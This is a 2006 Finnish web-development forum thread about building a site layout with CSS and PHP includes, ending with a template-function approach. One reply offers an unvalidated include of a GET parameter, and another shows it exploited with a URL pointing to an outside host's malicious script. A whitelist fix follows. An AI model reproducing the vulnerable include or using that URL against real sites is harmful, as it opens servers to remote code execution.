Kirjautuminen

Haku

Tehtävät

Keskustelu: Nettisivujen teko: nettisivut+css+php

Sivun loppuun

almost666 [09.02.2006 17:03:45]

#

Terve vaan.

Minä Vanhus rupesin tekemään nettisivuja ja huomasin että framien ja tablejen aika on näköjään auttamatta ohi. Opettelin CSS:ää sen verran jotta sain tehtyä halutunlaisen ulkoasun, eli perus valikot vasemmassa laidassa ja logo ylhäällä jne. Nyt ongelma on se että miten vasemmassa laidassa olevat linkit saadaan aukaistuksi keskimmäiseen ruutuun? Nyt linkit aukeavat uuteen ikkunaan. Ei vissiin ankkureita enää käytetä... Eli jos pientä periaatetta miten php:llä tehdään sivuja. Kiitos jos joku jaksaa auttaa.

ps. olen lukenut putkan php-oppaan.

kayttaja-2791 [09.02.2006 17:33:18]

#

Haet PHP:llä jokaiseen oikeaan sivuun ylä- ja alaosan erillisistä tiedoistoista. Pilko layoutisi niin että kaikki alusta siihen kohtaan missä sisältö alkaa tulee tiedostoon top.php, ja kaikki sisällön loppumisesta tulee bottom.php:hen. Sitten tee index.php jossa on sisältö, näin:

<?php include('top.php'); ?>
<h1>Tämä on etusivu!</h1>
<p>
Ja tässä on etusivun sisältö!
</p>
<?php include('bottom.php'); ?>

exAtuu [09.02.2006 17:37:25]

#

Tapoja on pari, mutta esitän nyt mielestäni paremman. Jaa ulkoasu kahteen tiedostoon, yla.php ja ala.php. Katkaise ulkoasu siitä kohti, mistä sisältölaatikko alkaa. "yla.php" voisi siis loppua vaikka näin:

<div="sisalto">

ja ala.php alkaa taas näin:

</div>

Nyt sitten tehdään sisältösivu, "etusivu.php", joka näyttää suurinpiirtein tältä:

<?php include 'yla.php'; ?>
  <h2>Etusivu</h2> <p>Terve!</p>
<?php include 'ala.php'; ?>

Alemman tiedoston sisällyttämisestä pääsee eroon komennolla register_shutdown_function().

EDIT: Hemmetin JTS >_<

Juice [09.02.2006 18:39:21]

#

Toinen tapa on välittää sivun nimi get-parametrinä, esim index.php?p=pelit:

<div class="sisalto">
<?php include($_GET['p'].'.php');?>
</div>

ajv [10.02.2006 08:48:49]

#

Juicen esimerkki ei hyvä:
index.php?p=http://oma.kone.jossa.ei.php.tulkkia/badscript
ja tuonne php-koodia joka vaikka muuttaa kaikki img-tagit osoittamaan khoa tse-kuviin... Että aina tarkistukset tuollaisissa.

exAtuu [10.02.2006 15:26:11]

#

Muutenkin tuommoinen parametripelleily aiheuttaa vain päänvaivaa. URLitkin näyttävät asiallisemmilta, kun jokainen sivu on oma tiedostonsa.

ajv [10.02.2006 15:30:45]

#

Ei tuollainen hyvin toteutettuna IMO ole ollenkaan huono ratkaisu. URLitkin saa ihan siistiksi MOD REWRITEn avulla.

Juice [10.02.2006 15:46:29]

#

Tietenkin tuossa ratkaisussa pitää huolehtia tietoturvasta. Pistetään nyt teidän mieliksi:

<div class="sisalto">
<?php
$pages = array('pelit','muuta','galleria');
if(in_array($_GET['p'],$pages) include($_GET['p'].'.php');
else include('etusivu.php');
?>
</div>

almost666 [10.02.2006 17:27:44]

#

Kiitti jo näistä. Eli laitoin siten että linkit sijaitsevat top.php ja sitten tein myös tollasen bottom.php ja includella sitten. Ongelma on vieläki se etten tajua miten linkit saa aukeamaan sen index.php tilalle. Nyt saa vain aukaistuksi uuden ikkunan. Jotai pientä on mutta en vain tajua että miten. Linkit ovat siis ihan perus <a href... pitää esim. target komentoa käyttää vai..?

Damiqib [10.02.2006 18:50:09]

#

Linkit tähän tyyliin:

<a href="?p=pelit">

Tällöin esim. Juicen esimerkkiä käyttäen diviin "sisältö" avautuu samassa kansiossa kuin index.php, oleva pelit.php.

Minä [14.02.2006 10:18:18]

#

Parse error: parse error, unexpected T_INCLUDE in /var/www/test/index.php on line 4

Ja koodi on tuo Juicen esimerkki :o Meikäläisellä ei kyllä onnistu enää mikään :D

Juice [14.02.2006 10:39:46]

#

Joo, näköjään iffin sulku jäi pois. Koska muokkausaika on ummessa, tässä toimiva (?) koodi:

<div class="sisalto">
<?php
$pages = array('pelit','muuta','galleria');
if(in_array($_GET['p'],$pages)) include($_GET['p'].'.php');
else include('etusivu.php');
?>
</div>

Minä [14.02.2006 11:32:05]

#

Hoppsan! Kiitos Juice paljon! Minä tota kyyläsin oikein urakalla mutta en hoksannut :$

Edit: Vielä kun saisi tuon vanhan tiedon aina katoamaan.. Ilmeisesti tuo register_shutdown_function() on oikea, mutta fi.php.net ei lataudu ja lontoo ei taivu.

Ei ole helppoa elämä ei. :)

Merri [14.02.2006 11:34:08]

#

almost666 kirjoitti:

Nyt ongelma on se että miten vasemmassa laidassa olevat linkit saadaan aukaistuksi keskimmäiseen ruutuun? Nyt linkit aukeavat uuteen ikkunaan. Ei vissiin ankkureita enää käytetä...

HTML-koodin pitäisi siis näyttää valmiina jokseenkin tältä:

<div id="dokumentti">
    <h1>Minun sivut</h1>
    <div id="valikko">
        <ul>
            <li><a href="/">Etusivu</a></li>
            <li><a href="/linkit.php">Linkit</a></li>
            <li><a href="/muusivu.php">Muu sivu</a></li>
        </ul>
    </div>
    <div id="sisalto">
<!-- header päättyy -->
        <h1>Varsinainen sisältö</h1>
        <p>Jesh.</p>
<!-- footer alkaa -->
    </div>
</div>

Eli ei targettia, ellet sitten käytä IFRAMEa (joka tosin ei ole paljoa sen parempi kuin ne perinteisetkään kehykset).

Mitä ankkureihin tulee, niin kyllä niille on käyttöä edelleen siinä missä ennenkin.

Sitten... tuossa perinteistyylisessä header ja footer -jutussa ongelmana on se, että sillä ei pääse helposti vaihtamaan titleä ja muita sivun tietoja (harvempi näyttää myöskään välittävän asiasta). Ulkoasun säätäminen kahdesta erillisestä tiedostosta tuntuu myös hieman epämielekkäältä. Itse olenkin päätynyt yhden tiedoston templaattiratkaisuun, jossa tässä yksinkertaistettu versio:

<?php

$encoding = 'UTF-8';
$language = 'fi';
$meta = array();
$title = '';

function generate_header() {
    global $encoding, $language, $meta, $title;

    if ($title == '') { $title = 'Sivuston nimi'; }

    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="'.$language.'">
    <head>
        <meta http-equiv="content-type" content="application/xml+xhtml; charset='.$encoding.'" />
        <title>'.$title.'</title>';

    for ($i = 0, $maxi = count($meta); $i < $maxi; $i++) {
        echo '
        <meta name="' . $meta[$i][0] . '" content="' . $meta[$i][1] . '" />';
    }

    echo '
    </head>
    <body>';
}

function generate_footer() {
    echo '
    </body>
</html>';
}

?>

Käyttö olisi sitten tyyliin:

<?php

require_once('template.php');

$title = 'Etusivu';
$meta[] = array('author', 'Oma Nimi');
$meta[] = array('description', 'Tämä on kotisivujeni etusivu.');
$meta[] = array('robots', 'noindex,follow');

generate_header();

?>

<h1>Tässä on sivun varsinainen sisältö</h1>
<p>Laalaalaa!</p>

<?php

generate_footer();

?>

Tällä tavalla merkittävin etu on siis se, että suurin osa sivun sisällöstä on nimenomaan sitä pelkkää sisältöä. Lisäksi olennaisten metatietojen lisääminen on aika helppoa.

Lebe80 [14.02.2006 13:49:32]

#

Merri on kyllä oikeassa, lisäksi tuota on yksinkertainen jatkaa, jos sisältöä aletaan jatkossa hakemaan esim. kannasta, jolloin "Tässä on sivn varsinainen sisältö" vaihdetaan omaksi funktioksi, joka rakentaa sisällön urlin mukana tulleiden parametrien mukaan (index.php?sivu=yhteystiedot), yms.

Ulkoasua on myös helppo muokata, kun muutettavia tiedostoja on vähän. Muutokset vaikuttavat heti muihinkin sivuille.


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta